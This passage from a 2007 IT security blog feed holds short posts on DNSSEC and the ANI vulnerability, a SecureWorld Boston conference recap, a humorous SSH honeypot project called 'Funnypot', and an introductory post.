Ptacek is writing a great series of arguments against DNSSEC over at the &lt;a href="http://www.matasano.com/log/"&gt;Matasano Chargen blog.&lt;/a&gt; That's one of my favorite blogs, by the way, and I highly suggest that anyone in information security make it a daily read.&lt;/li&gt;&lt;li&gt;I don't have anything to add about the ANI vulnerability (&lt;a href="http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx"&gt;MS07-017&lt;/a&gt;), other than to wonder when we're going to stop seeing this kind of thing. Weren't we doing this with WMF at this time last year?&lt;/li&gt;&lt;li&gt;I have thoughts on &lt;a href="http://www.fortifysoftware.com/advisory.jsp"&gt;Fortify's interesting JavaScript hijacking "Web 2.0" advisory&lt;/a&gt;, but I think I'll write a separate post 2.0 on that subject 2.0.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;The Blogger "Compose" interface is terrible. What should I be using instead? Should I just use a text editor and then paste it in?&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-6298430482754216763?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/6298430482754216763/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=6298430482754216763' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/6298430482754216763'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/6298430482754216763'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/04/undocumented-builds-and-backwards.html' title='Undocumented builds and backwards incompatibility'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-7431142269865426157</id><published>2007-03-27T08:50:00.000-04:00</published><updated>2007-04-24T11:46:52.420-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>SecureWorld Boston</title><content type='html'>I attended SecureWorld Boston this month. I'm a little late in posting about it, but here are my thoughts.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The conference in general was not particularly high-tech. I know it's not intended to be a Black-Hat-style cutting-edge techie event, but I still would like to see a presentation or two where I can learn something I don't already know from a technical standpoint.&lt;/li&gt;&lt;li&gt;The very first thing I did there was to drag an old co-worker over to see a demo of CORE Impact. I believe that is hands-down the coolest product going in the security space. It's hard for organizations that don't specialize in pen-testing to justify the price tag, but it sure is nifty. (I am 100% green with envy at the developers who get to write exploits for CORE Impact as a full-time job.)&lt;/li&gt;&lt;li&gt;I spent some time chatting with the Feds. I don't think they realize how in awe most of us IT folks are of their position. Their cybercrime people have a tough and thankless job, that's for sure.&lt;/li&gt;&lt;li&gt;In making the rounds of the vendor booths, I came across two products that I wasn't familar with that impressed me.&lt;/li&gt;&lt;ul&gt;&lt;li&gt;BeyondTrust Privilege Manager allows you to granularly assign administrative rights to users. So, where previously you would need to give a user full admin rights to his PC to install or run certain applications, you can now set that account to run as a normal user with elevated privileges only for specific applications. You can manage rights from a central console, and you can assign privileges either by workstation or by username (a huge benefit in an environment where users log onto and share multiple workstations).  I'm not sure how much of this you can do with Windows out of the box, not being much of a Windows guy myself, but it seems like something that any organization could benefit from. &lt;/li&gt;&lt;li&gt;LogLogic is a log management/SEM product, and the thing that really struck me about it was the interface. I've used Network Intelligence Envision, as well as Splunk, and I find them both difficult to get useful information out of because the interfaces are a pain to work with. LogLogic looks simple, attractive, and to the point. Every question I could come up with was met with "yes, we do that"; it seems like a full-featured, if pricey, solution.&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;I accidentally found myself in a panel on IP-based video surveillance. (I got the room number I was looking for wrong.) When I realized I was in the wrong room, I decided I would stay and possibly learn something about an area that I know little to nothing about. The major thing I took out of the panel was that there seems to be little to no thought given to the data security side of putting a bunch of new endpoints on the network (cameras, DVRs, etc). It may just have been that there wasn't enough time to get into that...I found that the panels in general were to short to get any kind of depth on their subjects.&lt;/li&gt;&lt;li&gt;I also attended a panel on compliance, specifically about whether IT should own it or not. Again, there wasn't enough time allotted to get into any kind of depth on the subject, but I think the answer, as expected, was that nobody really knows. Certainly we don't WANT it, but where else is it going to go? More to the point, I think there are too many aspects to compliance to call it an "it." There are technological and procedural controls that need to be designed, implemented, tested, and validated, and I really believe it involves defining the steps involved in all of those in detail to find the best places to put them. &lt;/li&gt;&lt;li&gt;There were a couple of sessions that discussed things like business risk and asset value, basically "how do we justify the money that goes into security?" As IT people, we are still not used to tackling the question of value from a risk perspective. (At least, I'm not, and I don't think I'm alone.) A good, solid, simple methodology that allowed us to get in the ballpark without wasting hundreds of hours in meetings across the organization would go a long way.&lt;/li&gt;&lt;li&gt;And I got a new laptop backpack, thanks to Michael Ford's encyclopedic knowledge of geek movie trivia!&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-7431142269865426157?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/7431142269865426157/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=7431142269865426157' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/7431142269865426157'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/7431142269865426157'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/03/secureworld-boston.html' title='SecureWorld Boston'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-8090969791946800118</id><published>2007-02-23T10:32:00.000-05:00</published><updated>2007-04-24T11:47:05.090-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Funny'/><title type='text'>Funnypot</title><content type='html'>A while ago, I started a project that tried to extract some humor from the concept of a honeypot. The idea was simple: I put up an SSH server with an easy root password, and created a shell for the root account that would (in theory) induce hapless hackers to type funny things. You can read some of the results at &lt;a href="http://funnypot.blogspot.com/"&gt;The Funnypot.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The problem was that, for the most part, the attackers either didn't understand what was going on or assumed that there was some magic command they could type that would cause the system to start behaving normally. I'm not sure why you'd keep trying UNIX commands once that shell started responding with lines like "Are you sure you know what you're doing?" I suppose in some cases it was just a script, rather than a human being on the other end of the connection.&lt;br /&gt;&lt;br /&gt;Eventually I brought the server down and never bothered putting it back up. I still feel like there's some mileage I can get out of the concept, if I can just be a little funnier. Maybe I need to allow, or at least appear to allow, certain commands to work in order to encourage the intruders. Perhaps some detailed and useful (and by that I mean "silly and ridiculous") help messages would be good, too. I wonder what I could get people to enter in if I put up a help message that said something like "enter your email address and email password at the command prompt to enable the bash shell."&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-8090969791946800118?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/8090969791946800118/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=8090969791946800118' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/8090969791946800118'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/8090969791946800118'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/02/while-ago-i-started-project-that-tried.html' title='Funnypot'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-257422754644818549</id><published>2007-02-22T16:32:00.000-05:00</published><updated>2007-02-22T16:39:05.012-05:00</updated><title type='text'>Into the Blogosphere</title><content type='html'>For some time now I've been thinking I should start a blog, so here it is. I have a real problem with remembering to write down or otherwise record my ideas and opinions, so hopefully I can learn to stick with this. I imagine I'll mostly be writing about technology, specifically in the realm of IT security, but I won't necessarily limit myself to that. So there's the introductory post; I hope to make my first post with Actual Content(tm) soon.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-257422754644818549?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/257422754644818549/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=257422754644818549' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/257422754644818549'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/257422754644818549'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/02/into-blogosphere.html' title='Into the Blogosphere'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
